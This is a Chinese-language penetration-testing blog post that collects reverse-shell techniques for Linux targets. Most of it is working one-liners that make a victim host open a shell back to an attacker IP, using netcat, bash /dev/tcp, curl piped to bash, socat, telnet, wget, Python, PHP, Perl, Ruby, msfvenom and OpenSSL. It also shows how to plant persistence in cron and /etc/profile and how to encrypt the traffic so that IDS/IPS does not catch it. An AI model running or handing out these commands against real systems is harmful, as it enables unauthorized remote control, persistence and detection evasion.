反弹shell

前言

在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了。

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接

那么为什么要用反弹shell呢?

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
  • ……

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

利用netcat反弹shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

1
2
3
4
5
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。

攻击机开启本地监听:

1
netcat -lvvp 2333

目标机主动连接攻击机:

1
2
netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

利用Bash反弹shell

个人感觉反弹shell最好用的方法就是使用bash结合重定向方法的一句话,具体命令如下:

1
2
3
4
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

07353625fc33d5ea76e36364397fd71

以下是针对Bash反弹一句话进行了拆分说明:

命令 命令详解
bash -i 产生一个bash交互环境。
>& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。
/dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

Bash反弹一句完整的解读过程就是:

Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

理解了上面这些知识,下面来解释一下这一条反弹shell的命令
bash -i代表在本地打开一个交互式bash,
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,
>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,
如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在目标机输入命令,
输出以及错误输出的内容就会被传递显示到远程。

Curl配合Bash反弹shell

这里操作也很简单,借助了Linux中的管道。

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

1
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

并开启2333端口的监听。

然后再目标机上执行如下,即可反弹shell:

1
curl 47.xxx.xxx.72|bash

根据curl命令和Linux管道的作用,你不难理解这其中的原理。

Curl配合Bash反弹shell的方式在CTF题目中经常出现,curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

1
2
3
*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1

#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell

将反弹shell的命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

1
2
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell:

利用Socat反弹shell

Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此。我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里:http://brieflyx.me/2015/linux-tools/socat-introduction/

安装Socat的方法很简单:

攻击机开启本地监听:

1
2
3
socat TCP-LISTEN:2333 -

nc -lvvp 2333

目标机主动连接攻击机:

1
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

利用Telnet反弹shell

当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。

方法一

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

方法二

攻击机需要开启两个本地监听:

1
2
nc -lvvp 2333
nc -lvvp 4000

目标机主动连接攻击机:

1
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

wget方式反弹shell

利用wget进行下载执行

1
wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php

利用下面贴出的php进行反弹。
开启监听

1698508151069

curl 反弹 shell 原理

在某社交网站上看到一句 curl 反弹 shell 命令:

1
{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

这句命令就像魔法一样神奇,和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。

预备知识

冒号

命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令,用 man bash 查看手册可以找到如下的说明:

1
2
: [参数]
无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。

花括号

在 Bash 中,花括号有多种不同的用法,详情见《[浅析 Bash 中的 {花括号}]》。在我们尝试理解的魔法命令中用到了其中一种:可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令:

1
{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出,out.txt 的内容是:

1
2
1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt

需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。

另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:

1
{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt,而不是 outer.txt

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

1
2
$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>

curl 参数

使用 man curl 可以查询到魔法命令中 curl 各个参数的含义,整理后列举如下:

  • -s, –silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout
  • -N, –no-buffer:禁用输出流的缓冲功能。正常情况下,curl 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
  • -k, –insecure:忽略证书错误。
  • -T, –upload-file :上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容;也可用 . 做文件名,以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

语法分析

为理解魔法命令,我们先对其进行语法分析。

魔法命令被倒数第二个字符 | (管道)分为前后两部分,如下图所示。

1
2
3
4
5
6
7
8
9
10
11
                                                                       +-------+
| |
| | |
| |
+-+---+-+
| |
+-----------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+ +-------+ : |
| | | |
+-----------------------------------------------------------------+ +-------+

前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
                                +-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
| | | | | |
| {...} 3>&1 +------+ +-------+ : |
| | | |
+------+-----+ +-------+
|
+------+-----+
| |
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+------------------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 | | sh 3>&-; |
| | | |
+------------------------------------------------+ +----------+

fd 重定向分析

完成语法分析后可对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdinstdout 都是 pts/0。外层 |(倒数第二个字符)产生的匿名管道为 pipe1,内层 |(curl 和 sh 之间的管道)产生的匿名管道为 pipe2

可标注出外层 | 前后命令的 fd 如下图所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                                                                       +-------+
| |
| | |
| |
+-+---+-+
| |
+-----------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+ +-------+ : |
| | | |
+-----------------------------------------------------------------+ +-------+

stdin : pts/0 stdin : pipe1
stdout: pipe1 stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1,即 stdout,如下图所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                                                                  +-------+
| |
| | |
| |
+-+---+-+
| |
+------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+ +-------+ : |
| | | |
+------------------------------------------------------------+ +-------+

stdin : pts/0 stdin : pipe1
stdout: pipe1 stdout: pts/0
fd 3 : pipe1

命令组中的命令会继承 {} 的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 curl 和 sh 的 fd 如下图所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
                                 +-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
stdin : pts/0 | | | | | |
stdout: pipe1 | {...} 3>&1 +------+ +-------+ : |
fd 3 : pipe1 | | | |
+------+-----+ +-------+
|
+------+-----+ stdin : pipe1
| | stdout: pts/0
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+------------------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 | | sh 3>&-; |
| | | |
+------------------------------------------------+ +----------+

stdin : pts/0 stdin : pipe2
stdout: pipe2 stdout: pipe1
fd 3 : pipe1 fd 3 : pipe1

curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3 表示把 stdin 重定向为 fd 3,即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
                                 +-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
stdin : pts/0 | | | | | |
stdout: pipe1 | {...} 3>&1 +------+ +-------+ : |
fd 3 : pipe1 | | | |
+------+-----+ +-------+
|
+------+-----+ stdin : pipe1
| | stdout: pts/0
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+--------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT | | sh |
| | | |
+--------------------------------------+ +----------+

stdin : pipe1 stdin : pipe2
stdout: pipe2 stdout: pipe1
fd 3 : pipe1

从上图可以很清晰地看出,curl 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 curl 的 stdout 分别通过匿名管道 pipe1pipe2 相连。

工作原理

至此,我们已经基本弄清了魔法命令的工作原理,总结如下:利用 Bash 语法:命令组、管道和重定向等让 curl 命令和 sh 命令的 stdinstdout 交错相连;又添加 -T 等参数和文件名 . 让 curl 读取 stdin 的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout

遗留问题

为何要关闭 sh 命令的 fd 3?

测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。

: 命令的作用是什么?

建立匿名管道 pipe1,且 : 命令不会去读 pipe1,不影响反弹 shell 工作。如果把 : 换成同样不会读 stdintrue 命令,反弹 shell 仍然可以工作,但如果换成会读 stdin 的命令如 cat,反弹 shell 就无法工作了。

各种脚本反弹shell

Python 脚本反弹shell

当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php 脚本反弹shell

当目标主机上有php环境时,我们可以用php来反弹shell。

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl 脚本反弹shell

当目标主机上有perl环境时,我们可以用perl来反弹shell。

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby脚本反弹shell

当目标主机上有ruby环境时,我们可以用ruby来反弹shell。

攻击机开启本地监听:

1
nc -lvvp 2333

目标机主动连接攻击机:

1
2
3
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

使用Metasploit生成反弹shell用的一句话

强大的Metasploit框架也为我们提供了生成一句话反弹shell的工具,即msfvenom,绝对的实用。当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,那么我们随时都可以使用 msfvenom -l 来查询生成我们所需要的各类命令行一句话,具体使用方法如下。

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:

1
msfvenom -l payloads | grep 'cmd/unix/reverse'

比如,我们获取一个python反弹shell的一句话:

1
msfvenom -p cmd/unix/reverse_python LHOST=47.xxx.xxx.72 LPORT=2333 -f raw

将生成的python反弹shell的一句话在目标主机上执行即可

反弹shell后获取模拟终端

其实,上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是往往会发现其交互性非常的差,回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。

  • 获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行sudo等命令,无法完成。
  • 标准的错误输出无法显示,无法正常使用vim等文本编辑器等。
  • 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。

这往往都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备。

我们其实可以借助于python默认包含的一个pty标准库来获取一个标准的虚拟终端环境。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:

1
python -c "import pty;pty.spawn('/bin/bash')"

使用OpenSSL反弹加密shell

在上文中,我们总结了很多反弹shell得方法,但是我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。这些通过shell通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时(IDS、IPS等),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 shell。

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。

SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:

1
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可

使用OpenSSL反弹加密shell

实验环境:Linux

目标机:

  • 系统:Linux
  • IP:192.168.1.8

攻击机:

  • 系统:Linux
  • IP:47.xxx.xxx.72

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 2333 端口:

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。

这时在目标机进行反弹 shell 操作,命令为:

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s

这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。


反弹shell
http://example.com/2023/10/28/反弹shell/
作者
Whhxy4
发布于
2023年10月28日
许可协议